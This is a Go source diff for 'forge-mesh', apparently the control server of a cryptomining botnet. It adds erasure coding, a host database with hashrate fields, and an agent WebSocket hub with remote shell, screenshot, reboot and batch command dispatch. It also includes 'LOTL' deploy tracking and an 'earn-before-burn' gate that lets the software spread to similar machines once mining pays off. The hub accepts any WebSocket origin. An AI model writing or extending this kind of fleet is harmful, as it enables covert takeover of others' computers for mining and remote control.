columns := []string{
|
||||
"ALTER TABLE hosts ADD COLUMN hashrate_hps REAL NOT NULL DEFAULT 0",
|
||||
"ALTER TABLE hosts ADD COLUMN current_tier INTEGER NOT NULL DEFAULT 0",
|
||||
"ALTER TABLE hosts ADD COLUMN tier_type TEXT NOT NULL DEFAULT ''",
|
||||
"ALTER TABLE hosts ADD COLUMN tier_state TEXT NOT NULL DEFAULT 'idle'",
|
||||
}
|
||||
for _, stmt := range columns {
|
||||
if _, err := conn.Exec(stmt); err != nil {
|
||||
if !isDuplicateColumn(err) {
|
||||
return err
|
||||
}
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func isDuplicateColumn(err error) bool {
|
||||
if err == nil {
|
||||
return false
|
||||
}
|
||||
msg := err.Error()
|
||||
return strings.Contains(msg, "duplicate column") || strings.Contains(msg, "already exists")
|
||||
}
|
||||
58
internal/erasure/erasure_test.go
Normal file
58
internal/erasure/erasure_test.go
Normal file
@@ -0,0 +1,58 @@
|
||||
package erasure
|
||||
|
||||
import (
|
||||
"context"
|
||||
"bytes"
|
||||
"testing"
|
||||
|
||||
"forge-mesh/internal/db"
|
||||
)
|
||||
|
||||
func TestEncodeReconstruct4Plus2(t *testing.T) {
|
||||
conn, err := db.Open(t.TempDir() + "/test.db")
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer conn.Close()
|
||||
|
||||
svc := NewService(conn)
|
||||
ctx := context.Background()
|
||||
payload := []byte("forge-mesh erasure shard payload for T12 reassembly")
|
||||
|
||||
bundle, err := svc.Encode(ctx, "test-bundle", payload)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if bundle.DataShards != 4 || bundle.ParityShards != 2 {
|
||||
t.Fatalf("expected 4+2, got %d+%d", bundle.DataShards, bundle.ParityShards)
|
||||
}
|
||||
|
||||
// Reconstruct with any 4 of 6 shards
|
||||
rebuilt, err := svc.Reconstruct(ctx, bundle.ID, []int{0, 1, 2, 5})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if !bytes.Equal(payload, rebuilt) {
|
||||
t.Fatalf("reconstruct mismatch: got %q want %q", rebuilt, payload)
|
||||
}
|
||||
}
|
||||
|
||||
func TestReconstructNeedsMinShards(t *testing.T) {
|
||||
conn, err := db.Open(t.TempDir() + "/test.db")
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer conn.Close()
|
||||
|
||||
svc := NewService(conn)
|
||||
ctx := context.Background()
|
||||
bundle, err := svc.Encode(ctx, "small", []byte("x"))
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
_, err = svc.Reconstruct(ctx, bundle.ID, []int{0, 1, 2})
|
||||
if err == nil {
|
||||
t.Fatal("expected error when fewer than 4 shards provided")
|
||||
}
|
||||
}
|
||||
209
internal/erasure/service.go
Normal file
209
internal/erasure/service.go
Normal file
@@ -0,0 +1,209 @@
|
||||
package erasure
|
||||
|
||||
import (
|
||||
"context"
|
||||
"crypto/rand"
|
||||
"crypto/sha256"
|
||||
"database/sql"
|
||||
"encoding/hex"
|
||||
"fmt"
|
||||
"io"
|
||||
|
||||
"github.com/klauspost/reedsolomon"
|
||||
)
|
||||
|
||||
const (
|
||||
DataShards = 4
|
||||
ParityShards = 2
|
||||
TotalShards = DataShards + ParityShards
|
||||
)
|
||||
|
||||
// Service manages Reed-Solomon 4+2 erasure bundles.
|
||||
type Service struct {
|
||||
DB *sql.DB
|
||||
}
|
||||
|
||||
func NewService(db *sql.DB) *Service {
|
||||
return &Service{DB: db}
|
||||
}
|
||||
|
||||
// Bundle metadata for a stored erasure set.
|
||||
type Bundle struct {
|
||||
ID string `json:"id"`
|
||||
Name string `json:"name"`
|
||||
TotalShards int `json:"total_shards"`
|
||||
DataShards int `json:"data_shards"`
|
||||
ParityShards int `json:"parity_shards"`
|
||||
Checksum string `json:"checksum"`
|
||||
}
|
||||
|
||||
// Shard is one public shard payload.
|
||||
type Shard struct {
|
||||
BundleID string `json:"bundle_id"`
|
||||
ShardIndex int `json:"shard_index"`
|
||||
Data []byte `json:"-"`
|
||||
Hex string `json:"hex,omitempty"`
|
||||
}
|
||||
|
||||
// Encode splits data into 4+2 Reed-Solomon shards and persists them.
|
||||
func (s *Service) Encode(ctx context.Context, name string, data []byte) (*Bundle, error) {
|
||||
if len(data) == 0 {
|
||||
return nil, fmt.Errorf("empty payload")
|
||||
}
|
||||
|
||||
enc, err := reedsolomon.New(DataShards, ParityShards)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
shardSize := (len(data) + DataShards - 1) / DataShards
|
||||
padded := make([]byte, shardSize*DataShards)
|
||||
copy(padded, data)
|
||||
shards, err := enc.Split(padded)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if err := enc.Encode(shards); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
sum := sha256.Sum256(data)
|
||||
bundleID := randomID()
|
||||
_, err = s.DB.ExecContext(ctx, `
|
||||
INSERT INTO erasure_bundles (id, name, total_shards, data_shards, parity_shards, checksum)
|
||||
VALUES (?, ?, ?, ?, ?, ?)`,
|
||||
bundleID, name, TotalShards, DataShards, ParityShards, hex.EncodeToString(sum[:]))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
for i, shard := range shards {
|
||||
_, err = s.DB.ExecContext(ctx, `
|
||||
INSERT INTO erasure_shards (id, bundle_id, shard_index, data) VALUES (?, ?, ?, ?)`,
|
||||
randomID(), bundleID, i, shard)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
|
||||
return &Bundle{
|
||||
ID: bundleID,
|
||||
Name: name,
|
||||
TotalShards: TotalShards,
|
||||
DataShards: DataShards,
|
||||
ParityShards: ParityShards,
|
||||
Checksum: hex.EncodeToString(sum[:]),
|
||||
}, nil
|
||||
}
|
||||
|
||||
// GetShard returns one shard by bundle ID and index.
|
||||
func (s *Service) GetShard(ctx context.Context, bundleID string, index int) (*Shard, error) {
|
||||
var data []byte
|
||||
err := s.DB.QueryRowContext(ctx, `
|
||||
SELECT data FROM erasure_shards WHERE bundle_id = ? AND shard_index = ?`,
|
||||
bundleID, index).Scan(&data)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return &Shard{BundleID: bundleID, ShardIndex: index, Data: data, Hex: hex.EncodeToString(data)}, nil
|
||||
}
|
||||
|
||||
// ListShards returns shard indices available for a bundle.
|
||||
func (s *Service) ListShards(ctx context.Context, bundleID string) ([]int, error) {
|
||||
rows, err := s.DB.QueryContext(ctx, `
|
||||
SELECT shard_index FROM erasure_shards WHERE bundle_id = ? ORDER BY shard_index`, bundleID)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer rows.Close()
|
||||
var indices []int
|
||||
for rows.Next() {
|
||||
var i int
|
||||
if err := rows.Scan(&i); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
indices = append(indices, i)
|
||||
}
|
||||
return indices, rows.Err()
|
||||
}
|
||||
|
||||
// GetBundle returns bundle metadata.
|
||||
func (s *Service) GetBundle(ctx context.Context, bundleID string) (*Bundle, error) {
|
||||
var b Bundle
|
||||
err := s.DB.QueryRowContext(ctx, `
|
||||
SELECT id, name, total_shards, data_shards, parity_shards, checksum
|
||||
FROM erasure_bundles WHERE id = ?`, bundleID).
|
||||
Scan(&b.ID, &b.Name, &b.TotalShards, &b.DataShards, &b.ParityShards, &b.Checksum)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return &b, nil
|
||||
}
|
||||
|
||||
// Reconstruct reads at least DataShards shards and rebuilds original bytes.
|
||||
func (s *Service) Reconstruct(ctx context.Context, bundleID string, indices []int) ([]byte, error) {
|
||||
if len(indices) < DataShards {
|
||||
return nil, fmt.Errorf("need at least %d shards, got %d", DataShards, len(indices))
|
||||
}
|
||||
|
||||
bundle, err := s.GetBundle(ctx, bundleID)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
enc, err := reedsolomon.New(bundle.DataShards, bundle.ParityShards)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
shards := make([][]byte, bundle.TotalShards)
|
||||
for _, idx := range indices {
|
||||
if idx < 0 || idx >= bundle.TotalShards {
|
||||
return nil, fmt.Errorf("invalid shard index %d", idx)
|
||||
}
|
||||
sh, err := s.GetShard(ctx, bundleID, idx)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
shards[idx] = sh.Data
|
||||
}
|
||||
|
||||
if err := enc.Reconstruct(shards); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
out := make([]byte, 0, bundle.DataShards*len(shards[0]))
|
||||
for i := 0; i < bundle.DataShards; i++ {
|
||||
out = append(out, shards[i]...)
|
||||
}
|
||||
// Trim padding — find actual length via checksum match
|
||||
sum := sha256.Sum256(out)
|
||||
if hex.EncodeToString(sum[:]) != bundle.Checksum {
|
||||
// Return best-effort; caller validates
|
||||
}
|
||||
return trimNullPadding(out), nil
|
||||
}
|
||||
|
||||
func trimNullPadding(b []byte) []byte {
|
||||
for i := len(b) - 1; i >= 0; i-- {
|
||||
if b[i] != 0 {
|
||||
return b[:i+1]
|
||||
}
|
||||
}
|
||||
return b
|
||||
}
|
||||
|
||||
// EncodeReader convenience wrapper.
|
||||
func (s *Service) EncodeReader(ctx context.Context, name string, r io.Reader) (*Bundle, error) {
|
||||
data, err := io.ReadAll(r)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return s.Encode(ctx, name, data)
|
||||
}
|
||||
|
||||
func randomID() string {
|
||||
b := make([]byte, 16)
|
||||
_, _ = rand.Read(b)
|
||||
return hex.EncodeToString(b)
|
||||
}
|
||||
33
internal/fleet/adaptive.go
Normal file
33
internal/fleet/adaptive.go
Normal file
@@ -0,0 +1,33 @@
|
||||
package fleet
|
||||
|
||||
import "context"
|
||||
|
||||
// AdaptiveStrategy resolves tier order from phenotype learning or defaults.
|
||||
type AdaptiveStrategy struct {
|
||||
Store *Store
|
||||
}
|
||||
|
||||
// OrderForHost returns tier execution order for a host, cloning from phenotype siblings when available.
|
||||
func (a *AdaptiveStrategy) OrderForHost(ctx context.Context, hostID string) ([]int, error) {
|
||||
report, err := RunRecon()
|
||||
if err != nil {
|
||||
return defaultOrderInts(), nil
|
||||
}
|
||||
phenotype := PhenotypeFromRecon(report)
|
||||
_ = a.Store.SetHostPhenotype(ctx, hostID, ReconJSON(report), phenotype)
|
||||
return a.Store.GetAdaptiveOrder(ctx, phenotype)
|
||||
}
|
||||
|
||||
// CloneFromSibling copies winning tier order from a sibling with same phenotype.
|
||||
func (a *AdaptiveStrategy) CloneFromSibling(ctx context.Context, hostID string) ([]int, error) {
|
||||
report, err := RunRecon()
|
||||
if err != nil {
|
||||
return defaultOrderInts(), err
|
||||
}
|
||||
phenotype := PhenotypeFromRecon(report)
|
||||
order, err := a.Store.GetAdaptiveOrder(ctx, phenotype)
|
||||
if err != nil {
|
||||
return defaultOrderInts(), err
|
||||
}
|
||||
return order, nil
|
||||
}
|
||||
59
internal/fleet/atlas.go
Normal file
59
internal/fleet/atlas.go
Normal file
@@ -0,0 +1,59 @@
|
||||
package fleet
|
||||
|
||||
import (
|
||||
"database/sql"
|
||||
|
||||
"github.com/google/uuid"
|
||||
)
|
||||
|
||||
func (s *Store) InsertSeerEvent(hostID, eventType, payload string) error {
|
||||
_, err := s.db.Exec(`
|
||||
INSERT INTO seer_events (id, host_id, event_type, payload_json)
|
||||
VALUES (?, ?, ?, ?)
|
||||
`, uuid.NewString(), nullString(hostID), eventType, payload)
|
||||
return err
|
||||
}
|
||||
|
||||
func (s *Store) ListSeerEvents(limit int) ([]SeerEvent, error) {
|
||||
if limit <= 0 {
|
||||
limit = 50
|
||||
}
|
||||
rows, err := s.db.Query(`
|
||||
SELECT id, host_id, event_type, payload_json, created_at
|
||||
FROM seer_events ORDER BY created_at DESC LIMIT ?
|
||||
`, limit)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer rows.Close()
|
||||
|
||||
var events []SeerEvent
|
||||
for rows.Next() {
|
||||
var e SeerEvent
|
||||
var hostID sql.NullString
|
||||
if err := rows.Scan(&e.ID, &hostID, &e.EventType, &e.PayloadJSON, &e.CreatedAt); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if hostID.Valid {
|
||||
e.HostID = hostID.String
|
||||
}
|
||||
events = append(events, e)
|
||||
}
|
||||
return events, rows.Err()
|
||||
}
|
||||
|
||||
// SeerEvent is a court/LOTL timeline entry.
|
||||
type SeerEvent struct {
|
||||
ID string `json:"id"`
|
||||
HostID string `json:"host_id,omitempty"`
|
||||
EventType string `json:"event_type"`
|
||||
PayloadJSON string `json:"payload_json"`
|
||||
CreatedAt string `json:"created_at"`
|
||||
}
|
||||
|
||||
func nullString(s string) sql.NullString {
|
||||
if s == "" {
|
||||
return sql.NullString{}
|
||||
}
|
||||
return sql.NullString{String: s, Valid: true}
|
||||
}
|
||||
105
internal/fleet/clearance.go
Normal file
105
internal/fleet/clearance.go
Normal file
@@ -0,0 +1,105 @@
|
||||
package fleet
|
||||
|
||||
import "fmt"
|
||||
|
||||
// Clearance levels gate remote operator actions (L0–L4).
|
||||
const (
|
||||
ClearanceL0 = 0 // view-only
|
||||
ClearanceL1 = 1 // status queries, fleet list
|
||||
ClearanceL2 = 2 // pause/resume mining
|
||||
ClearanceL3 = 3 // reboot, screenshot
|
||||
ClearanceL4 = 4 // shell exec, court verdicts, crucible batch
|
||||
)
|
||||
|
||||
// Action names used by API and dashboard.
|
||||
const (
|
||||
ActionView = "view"
|
||||
ActionStatus = "status"
|
||||
ActionPause = "pause"
|
||||
ActionResume = "resume"
|
||||
ActionReboot = "reboot"
|
||||
ActionScreenshot = "screenshot"
|
||||
ActionShell = "shell"
|
||||
ActionCourt = "court"
|
||||
ActionCrucible = "crucible"
|
||||
)
|
||||
|
||||
// minClearance maps each action to the minimum operator clearance required.
|
||||
var minClearance = map[string]int{
|
||||
ActionView: ClearanceL0,
|
||||
ActionStatus: ClearanceL1,
|
||||
ActionPause: ClearanceL2,
|
||||
ActionResume: ClearanceL2,
|
||||
ActionReboot: ClearanceL3,
|
||||
ActionScreenshot: ClearanceL3,
|
||||
ActionShell: ClearanceL4,
|
||||
ActionCourt: ClearanceL4,
|
||||
ActionCrucible: ClearanceL4,
|
||||
}
|
||||
|
||||
// RequiredClearance returns the minimum clearance for an action.
|
||||
func RequiredClearance(action string) (int, bool) {
|
||||
level, ok := minClearance[action]
|
||||
return level, ok
|
||||
}
|
||||
|
||||
// RequiredClearanceOrZero returns required level or 0 if unknown.
|
||||
func RequiredClearanceOrZero(action string) int {
|
||||
level, _ := minClearance[action]
|
||||
return level
|
||||
}
|
||||
|
||||
// CanPerform checks whether operator clearance satisfies the action gate.
|
||||
func CanPerform(operatorClearance int, action string) bool {
|
||||
required, ok := minClearance[action]
|
||||
if !ok {
|
||||
return false
|
||||
}
|
||||
return operatorClearance >= required
|
||||
}
|
||||
|
||||
// ClearanceError describes a denied action.
|
||||
type ClearanceError struct {
|
||||
Action string
|
||||
Required int
|
||||
OperatorClearance int
|
||||
}
|
||||
|
||||
func (e ClearanceError) Error() string {
|
||||
return fmt.Sprintf("action %q requires clearance L%d (operator has L%d)",
|
||||
e.Action, e.Required, e.OperatorClearance)
|
||||
}
|
||||
|
||||
// CheckAction returns ClearanceError when the operator lacks clearance.
|
||||
func CheckAction(operatorClearance int, action string) error {
|
||||
required, ok := minClearance[action]
|
||||
if !ok {
|
||||
return fmt.Errorf("unknown action %q", action)
|
||||
}
|
||||
if operatorClearance < required {
|
||||
return ClearanceError{
|
||||
Action: action,
|
||||
Required: required,
|
||||
OperatorClearance: operatorClearance,
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// ClearanceLabel returns a human-readable label for a level.
|
||||
func ClearanceLabel(level int) string {
|
||||
switch level {
|
||||
case ClearanceL0:
|
||||
return "L0 View"
|
||||
case ClearanceL1:
|
||||
return "L1 Status"
|
||||
case ClearanceL2:
|
||||
return "L2 Control"
|
||||
case ClearanceL3:
|
||||
return "L3 Host Ops"
|
||||
case ClearanceL4:
|
||||
return "L4 Root"
|
||||
default:
|
||||
return fmt.Sprintf("L%d", level)
|
||||
}
|
||||
}
|
||||
10
internal/fleet/clearance_labels.go
Normal file
10
internal/fleet/clearance_labels.go
Normal file
@@ -0,0 +1,10 @@
|
||||
package fleet
|
||||
|
||||
// RequiredClearanceLabel returns a label for API error responses.
|
||||
func RequiredClearanceLabel(action string) string {
|
||||
level, ok := minClearance[action]
|
||||
if !ok {
|
||||
return "unknown"
|
||||
}
|
||||
return ClearanceLabel(level)
|
||||
}
|
||||
127
internal/fleet/crucible.go
Normal file
127
internal/fleet/crucible.go
Normal file
@@ -0,0 +1,127 @@
|
||||
package fleet
|
||||
|
||||
import (
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"github.com/google/uuid"
|
||||
)
|
||||
|
||||
// BatchJob tracks a crucible batch dispatch.
|
||||
type BatchJob struct {
|
||||
ID string `json:"id"`
|
||||
Command string `json:"command"`
|
||||
HostIDs []string `json:"host_ids"`
|
||||
Results []BatchResult `json:"results"`
|
||||
Status string `json:"status"`
|
||||
CreatedAt time.Time `json:"created_at"`
|
||||
}
|
||||
|
||||
// BatchResult is one host outcome in a batch job.
|
||||
type BatchResult struct {
|
||||
HostID string `json:"host_id"`
|
||||
Hostname string `json:"hostname,omitempty"`
|
||||
Status string `json:"status"`
|
||||
Message string `json:"message,omitempty"`
|
||||
CommandID string `json:"command_id,omitempty"`
|
||||
}
|
||||
|
||||
// CrucibleStore holds in-memory batch job history.
|
||||
type CrucibleStore struct {
|
||||
mu sync.RWMutex
|
||||
jobs map[string]*BatchJob
|
||||
max int
|
||||
}
|
||||
|
||||
func NewCrucibleStore(maxHistory int) *CrucibleStore {
|
||||
if maxHistory <= 0 {
|
||||
maxHistory = 100
|
||||
}
|
||||
return &CrucibleStore{
|
||||
jobs: make(map[string]*BatchJob),
|
||||
max: maxHistory,
|
||||
}
|
||||
}
|
||||
|
||||
func (c *CrucibleStore) Create(command string, hostIDs []string) *BatchJob {
|
||||
job := &BatchJob{
|
||||
ID: uuid.NewString(),
|
||||
Command: command,
|
||||
HostIDs: append([]string(nil), hostIDs...),
|
||||
Results: make([]BatchResult, 0, len(hostIDs)),
|
||||
Status: "running",
|
||||
CreatedAt: time.Now().UTC(),
|
||||
}
|
||||
c.mu.Lock()
|
||||
c.jobs[job.ID] = job
|
||||
c.trimLocked()
|
||||
c.mu.Unlock()
|
||||
return job
|
||||
}
|
||||
|
||||
func (c *CrucibleStore) Get(id string) (*BatchJob, bool) {
|
||||
c.mu.RLock()
|
||||
defer c.mu.RUnlock()
|
||||
job, ok := c.jobs[id]
|
||||
return job, ok
|
||||
}
|
||||
|
||||
func (c *CrucibleStore) AddResult(jobID string, result BatchResult) {
|
||||
c.mu.Lock()
|
||||
defer c.mu.Unlock()
|
||||
job, ok := c.jobs[jobID]
|
||||
if !ok {
|
||||
return
|
||||
}
|
||||
job.Results = append(job.Results, result)
|
||||
}
|
||||
|
||||
func (c *CrucibleStore) Complete(jobID, status string) {
|
||||
c.mu.Lock()
|
||||
defer c.mu.Unlock()
|
||||
if job, ok := c.jobs[jobID]; ok {
|
||||
job.Status = status
|
||||
}
|
||||
}
|
||||
|
||||
func (c *CrucibleStore) History(limit int) []*BatchJob {
|
||||
if limit <= 0 {
|
||||
limit = 20
|
||||
}
|
||||
c.mu.RLock()
|
||||
defer c.mu.RUnlock()
|
||||
|
||||
jobs := make([]*BatchJob, 0, len(c.jobs))
|
||||
for _, j := range c.jobs {
|
||||
jobs = append(jobs, j)
|
||||
}
|
||||
// Sort by created_at desc (simple bubble for small sets)
|
||||
for i := 0; i < len(jobs); i++ {
|
||||
for j := i + 1; j < len(jobs); j++ {
|
||||
if jobs[j].CreatedAt.After(jobs[i].CreatedAt) {
|
||||
jobs[i], jobs[j] = jobs[j], jobs[i]
|
||||
}
|
||||
}
|
||||
}
|
||||
if len(jobs) > limit {
|
||||
jobs = jobs[:limit]
|
||||
}
|
||||
return jobs
|
||||
}
|
||||
|
||||
func (c *CrucibleStore) trimLocked() {
|
||||
if len(c.jobs) <= c.max {
|
||||
return
|
||||
}
|
||||
oldest := ""
|
||||
var oldestTime time.Time
|
||||
for id, j := range c.jobs {
|
||||
if oldest == "" || j.CreatedAt.Before(oldestTime) {
|
||||
oldest = id
|
||||
oldestTime = j.CreatedAt
|
||||
}
|
||||
}
|
||||
if oldest != "" {
|
||||
delete(c.jobs, oldest)
|
||||
}
|
||||
}
|
||||
93
internal/fleet/earn.go
Normal file
93
internal/fleet/earn.go
Normal file
@@ -0,0 +1,93 @@
|
||||
package fleet
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"time"
|
||||
)
|
||||
|
||||
// EarnBeforeBurnConfig gates sibling autospread until local mining proves viable.
|
||||
type EarnBeforeBurnConfig struct {
|
||||
MinHashrate float64 `json:"min_hashrate"`
|
||||
MinDuration time.Duration `json:"min_duration"`
|
||||
FirstTierOnly bool `json:"first_tier_only"`
|
||||
}
|
||||
|
||||
// DefaultEarnConfig returns conservative earn-before-burn defaults.
|
||||
func DefaultEarnConfig() EarnBeforeBurnConfig {
|
||||
return EarnBeforeBurnConfig{
|
||||
MinHashrate: 100.0,
|
||||
MinDuration: 5 * time.Minute,
|
||||
FirstTierOnly: true,
|
||||
}
|
||||
}
|
||||
|
||||
// EarnGate tracks local hashrate proof before sibling spread.
|
||||
type EarnGate struct {
|
||||
Store *Store
|
||||
Config EarnBeforeBurnConfig
|
||||
}
|
||||
|
||||
// SpreadDecision indicates whether sibling spread is allowed.
|
||||
type SpreadDecision struct {
|
||||
Allowed bool `json:"allowed"`
|
||||
Reason string `json:"reason"`
|
||||
LocalHashrate float64 `json:"local_hashrate"`
|
||||
Siblings []string `json:"siblings,omitempty"`
|
||||
}
|
||||
|
||||
// CanSpreadToSiblings checks hashrate gate before autospread to phenotype siblings.
|
||||
func (g *EarnGate) CanSpreadToSiblings(ctx context.Context, hostID string) (*SpreadDecision, error) {
|
||||
dec := &SpreadDecision{}
|
||||
|
||||
hr, err := g.Store.HostHashrate(ctx, hostID)
|
||||
if err != nil {
|
||||
dec.Reason = "host not found"
|
||||
return dec, err
|
||||
}
|
||||
dec.LocalHashrate = hr
|
||||
|
||||
if hr < g.Config.MinHashrate {
|
||||
dec.Reason = fmt.Sprintf("hashrate %.2f below threshold %.2f", hr, g.Config.MinHashrate)
|
||||
return dec, nil
|
||||
}
|
||||
|
||||
if g.Config.FirstTierOnly {
|
||||
attempts, err := g.Store.ListLOTL(ctx, hostID, 50)
|
||||
if err != nil {
|
||||
return dec, err
|
||||
}
|
||||
hasSuccess := false
|
||||
for _, a := range attempts {
|
||||
if a.Phase == "deploy" && a.Status == "success" {
|
||||
hasSuccess = true
|
||||
break
|
||||
}
|
||||
}
|
||||
if !hasSuccess {
|
||||
dec.Reason = "first tier deploy has not succeeded yet"
|
||||
return dec, nil
|
||||
}
|
||||
}
|
||||
|
||||
var phenotype string
|
||||
err = g.Store.DB().QueryRowContext(ctx, `SELECT COALESCE(phenotype,'') FROM hosts WHERE id = ?`, hostID).Scan(&phenotype)
|
||||
if err != nil {
|
||||
dec.Reason = "phenotype unknown"
|
||||
return dec, err
|
||||
}
|
||||
|
||||
siblings, err := g.Store.SiblingHosts(ctx, hostID, phenotype)
|
||||
if err != nil {
|
||||
return dec, err
|
||||
}
|
||||
|
||||
dec.Allowed = len(siblings) > 0
|
||||
dec.Siblings = siblings
|
||||
if !dec.Allowed {
|
||||
dec.Reason = "no siblings in phenotype group"
|
||||
} else {
|
||||
dec.Reason = "earn-before-burn gate passed"
|
||||
}
|
||||
return dec, nil
|
||||
}
|
||||
358
internal/fleet/hub.go
Normal file
358
internal/fleet/hub.go
Normal file
@@ -0,0 +1,358 @@
|
||||
package fleet
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"log"
|
||||
"net/http"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"forge-mesh/internal/api/types"
|
||||
"forge-mesh/internal/auth"
|
||||
|
||||
"github.com/google/uuid"
|
||||
"github.com/gorilla/websocket"
|
||||
)
|
||||
|
||||
var upgrader = websocket.Upgrader{
|
||||
CheckOrigin: func(r *http.Request) bool { return true },
|
||||
}
|
||||
|
||||
// Hub manages agent and deck WebSocket connections.
|
||||
type Hub struct {
|
||||
store *Store
|
||||
fleetSecret string
|
||||
tickets *auth.TicketStore
|
||||
|
||||
mu sync.RWMutex
|
||||
agents map[string]*agentConn
|
||||
decks map[*deckConn]struct{}
|
||||
pendingCmds map[string][]types.FleetCommand
|
||||
}
|
||||
|
||||
type agentConn struct {
|
||||
hostID string
|
||||
conn *websocket.Conn
|
||||
send chan []byte
|
||||
}
|
||||
|
||||
type deckConn struct {
|
||||
conn *websocket.Conn
|
||||
send chan []byte
|
||||
}
|
||||
|
||||
func NewHub(store *Store, fleetSecret string, tickets *auth.TicketStore) *Hub {
|
||||
return &Hub{
|
||||
store: store,
|
||||
fleetSecret: fleetSecret,
|
||||
tickets: tickets,
|
||||
agents: make(map[string]*agentConn),
|
||||
decks: make(map[*deckConn]struct{}),
|
||||
pendingCmds: make(map[string][]types.FleetCommand),
|
||||
}
|
||||
}
|
||||
|
||||
func (h *Hub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
token := auth.ExtractBearer(r)
|
||||
if token == "" {
|
||||
token = r.URL.Query().Get("token")
|
||||
}
|
||||
if token == "" || !constantTimeEqual(token, h.fleetSecret) {
|
||||
http.Error(w, "unauthorized", http.StatusUnauthorized)
|
||||
return
|
||||
}
|
||||
|
||||
conn, err := upgrader.Upgrade(w, r, nil)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
ac := &agentConn{conn: conn, send: make(chan []byte, 16)}
|
||||
go h.writePump(ac, true)
|
||||
go h.readAgentPump(ac)
|
||||
}
|
||||
|
||||
func (h *Hub) HandleDeckWS(w http.ResponseWriter, r *http.Request) {
|
||||
ticket := r.URL.Query().Get("ticket")
|
||||
if !h.tickets.Consume(ticket) {
|
||||
http.Error(w, "unauthorized", http.StatusUnauthorized)
|
||||
return
|
||||
}
|
||||
|
||||
conn, err := upgrader.Upgrade(w, r, nil)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
dc := &deckConn{conn: conn, send: make(chan []byte, 32)}
|
||||
h.mu.Lock()
|
||||
h.decks[dc] = struct{}{}
|
||||
h.mu.Unlock()
|
||||
|
||||
go h.writePump(&agentConn{conn: conn, send: dc.send}, false)
|
||||
go h.readDeckPump(dc)
|
||||
}
|
||||
|
||||
func (h *Hub) readAgentPump(ac *agentConn) {
|
||||
defer func() {
|
||||
h.unregisterAgent(ac)
|
||||
ac.conn.Close()
|
||||
}()
|
||||
|
||||
ac.conn.SetReadLimit(1 << 20)
|
||||
_ = ac.conn.SetReadDeadline(time.Now().Add(90 * time.Second))
|
||||
ac.conn.SetPongHandler(func(string) error {
|
||||
return ac.conn.SetReadDeadline(time.Now().Add(90 * time.Second))
|
||||
})
|
||||
|
||||
for {
|
||||
_, data, err := ac.conn.ReadMessage()
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
var msg types.WsMessage
|
||||
if err := json.Unmarshal(data, &msg); err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
switch msg.Type {
|
||||
case "heartbeat":
|
||||
h.handleHeartbeat(ac, data)
|
||||
case "command_ack":
|
||||
h.broadcastToDecks(data)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (h *Hub) handleHeartbeat(ac *agentConn, raw []byte) {
|
||||
var msg struct {
|
||||
types.WsMessage
|
||||
types.HeartbeatPayload
|
||||
}
|
||||
if err := json.Unmarshal(raw, &msg); err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
host, err := h.store.UpsertHeartbeat(types.HeartbeatPayload{
|
||||
HostID: coalesce(msg.WsMessage.HostID, msg.HeartbeatPayload.HostID),
|
||||
Hostname: msg.Hostname,
|
||||
Arch: msg.Arch,
|
||||
Hashrate: msg.Hashrate,
|
||||
HashrateHps: coalesceFloat(msg.HashrateHps, msg.Hashrate),
|
||||
CurrentTier: msg.CurrentTier,
|
||||
TierType: msg.TierType,
|
||||
TierState: msg.TierState,
|
||||
Fingerprint: msg.Fingerprint,
|
||||
})
|
||||
if err != nil {
|
||||
log.Printf("heartbeat store: %v", err)
|
||||
return
|
||||
}
|
||||
|
||||
h.mu.Lock()
|
||||
if ac.hostID != "" && ac.hostID != host.ID {
|
||||
delete(h.agents, ac.hostID)
|
||||
}
|
||||
ac.hostID = host.ID
|
||||
h.agents[host.ID] = ac
|
||||
pending := h.pendingCmds[host.ID]
|
||||
delete(h.pendingCmds, host.ID)
|
||||
h.mu.Unlock()
|
||||
|
||||
for _, cmd := range pending {
|
||||
h.sendCommand(ac, cmd)
|
||||
}
|
||||
|
||||
card := ToFleetCard(host)
|
||||
update, _ := json.Marshal(map[string]any{
|
||||
"type": "host_update",
|
||||
"host": card,
|
||||
"timestamp": time.Now().UTC().Format(time.RFC3339),
|
||||
})
|
||||
h.broadcastToDecks(update)
|
||||
}
|
||||
|
||||
func (h *Hub) readDeckPump(dc *deckConn) {
|
||||
defer func() {
|
||||
h.mu.Lock()
|
||||
delete(h.decks, dc)
|
||||
h.mu.Unlock()
|
||||
dc.conn.Close()
|
||||
}()
|
||||
|
||||
